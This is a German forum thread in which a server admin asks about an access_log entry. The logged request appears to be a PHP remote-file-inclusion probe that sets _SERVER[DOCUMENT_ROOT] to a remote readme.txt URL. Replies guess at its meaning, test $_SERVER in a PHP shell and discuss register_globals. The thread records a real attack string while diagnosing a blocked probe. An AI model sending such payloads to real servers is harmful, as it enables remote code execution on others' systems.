Verständnisfrage zu seltsamen Eintrag in einem Logfile...

  • Thread starter Thread starter Deleted member 14254
  • Start date Start date
D

Deleted member 14254

Guest
Hallo Zusammen :)

Vorhin habe ich auf dem Server wie immer die Logfiles durchgesehen und im access_log folgenden Eintrag gesehen:

Code:
94.199.51.7 - - [16/Apr/2013:15:41:11 +0000] "GET /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? HTTP/1.1" 403 275

Nun, da ich einen solchen noch nie hatte (im error_log stand näheres, also welche Domain und welcher Host damit überhaupt gemeint war), habe ich mir mal Gedanken gemacht dazu:

Für mich sieht es so aus, als ob jemand von der besagten IP versucht hat, meinen DocumentRoot in einem vhost-Config-File auf seine IP 94.199.51.7 umzubiegen und dort generell auf diese komische readme, die wahrscheinlich sonstwas enthält.

Nun fragte ich mich in wie weit sowas möglich wäre:
Für mich gibts nun eine Erklärung, das es möglich sein kann, wenn die vhost.conf bzw. vhost.include die falschen Rechte besitzt und world Schreibzugriff gewähren WÜRDE.

Richtig?

PS. Das derjenige einen 403'er bekommen hat, ist beabsichtigt. Diese Seite die er da ansteuern wollte ist IP-begrenzt und noch ohne Inhalt...
 
Last edited by a moderator:
_SERVER[DOCUMENT_ROOT] ist PHP und der Aufruf, sofern er denn erfolgreich gewesen wäre, hätte bewirkt, dass die Variable innerhalb des aufgerufenen Scripts geändert worden wäre.

AFAIR sind _SERVER[*] jedoch read-only (mag das bitte jemand bestätigen oder widerlegen, danke) und werden direkt dem HTTPd entnommen, so dass entweder der "Angreifer" extrem dumm ist, oder in PHP ein Security-Bug steckt.

Egal wie, Dein HTTPd hat den Request mit dem HTTP-Status 403 beantwortet und somit ist nichts ausser einem Logeintrag passiert.
 
AFAIR sind _SERVER[*] jedoch read-only (mag das bitte jemand bestätigen oder widerlegen, danke) und werden direkt dem HTTPd entnommen, so dass entweder der "Angreifer" extrem dumm ist, oder in PHP ein Security-Bug steckt.
Gerne:
Code:
fusl@thinktop:~$ php -a
Interactive shell

php > echo $_SERVER["_"];
/usr/bin/php
php > $_SERVER["_"] = "/bin/false";
php > echo $_SERVER["_"];
/bin/false
php > quit
 
Aber soweit ich weiß, dürfte das alles kein Problem sein, solang register_globals = off ist, oder irre ich mich da?
 
@Fusl: php-cli ist aber nicht mod_php, kannst Du oder jemand anderes das nochmal testen? Bin dafür heute zu faul :(
 
Hallo nochmal und Danke Euch allen für Eure Erklärungen!

@Joe User,

AFAIR sind _SERVER[*] jedoch read-only (mag das bitte jemand bestätigen oder widerlegen, danke) und werden direkt dem HTTPd entnommen, so dass entweder der "Angreifer" extrem dumm ist, oder in PHP ein Security-Bug steckt.

Also das er dumm ist, glaub ich weniger. Ich vermute schon eher, das es, wie Du da andeutest, wirklich eine Lücke in einer (vielleicht älteren, aber in manchen Distris noch verwendeten) php-Version gibt und dieser Jenige das halt ausprobieren wollte... Er sieht ja nicht, welche Versionen von php auf welchem Server installiert sind.

@Fusl,

Code:
fusl@thinktop:~$ php -a
Interactive shell

php > echo $_SERVER["_"];
/usr/bin/php
php > $_SERVER["_"] = "/bin/false";
php > echo $_SERVER["_"];
/bin/false
php > quit

Ich kann zwar kein php selbst coden, aber Lesen eigentlich schon: Nach diesem Beispiel hast Du per "echo" ausgeben lassen, wo die executeable von php ist. Dies hast Du dann auf "/bin/false" umgebogen und dann per echo das Veränderte Ergebnis ausgeben lassen.

Nun, ich sagte ja, ich bin nicht der Supercoder, aber nach Deinem Ergebnis sieht es so aus, als ob durch einen Befehl wie ich ihn da im Log hatte, etwas hätte umgestellt werden können?

Erst:
Code:
php > echo $_SERVER["_"];
/usr/bin/php

Befehl zur Änderung:
Code:
php > $_SERVER["_"] = "/bin/false";

Ergebnis:
Code:
php > echo $_SERVER["_"];
/bin/false

Und hier komme ich dann drauf, was trik sagt:
Das es nicht möglich sein dürfte, also nicht solange diese register_globals = off stehen?

Auf was stehen die denn bei Dir @Fusl? Deines Beispiels nach wurde ja bei dem Test "$_SERVER" verändert...
 
Kleiner Nachtrag:

Habe mal in meiner php.ini geschaut: Dies hat nicht zufällig was damit zu tun?

Code:
; PHP 4.2 and less have an undocumented feature/bug that allows you to
; to initialize a session variable in the global scope.
; PHP 4.3 and later will warn you, if this feature is used.
; You can disable the feature and the warning separately. At this time,
; the warning is only displayed, if bug_compat_42 is enabled. This feature
; introduces some serious security problems if not handled correctly. It's
; recommended that you do not use this feature on production servers. But you
; should enable this on development servers and enable the warning as well. If you
; do not enable the feature on development servers, you won't be warned when it's
; used and debugging errors caused by this can be difficult to track down.
; Default Value: On
; Development Value: On
; Production Value: Off
; http://php.net/session.bug-compat-42
session.bug_compat_42 = Off

; This setting controls whether or not you are warned by PHP when initializing a
; session value into the global space. session.bug_compat_42 must be enabled before
; these warnings can be issued by PHP. See the directive above for more information.
; Default Value: On
; Development Value: On
; Production Value: Off
; http://php.net/session.bug-compat-warn
session.bug_compat_warn = Off
 
Back
Top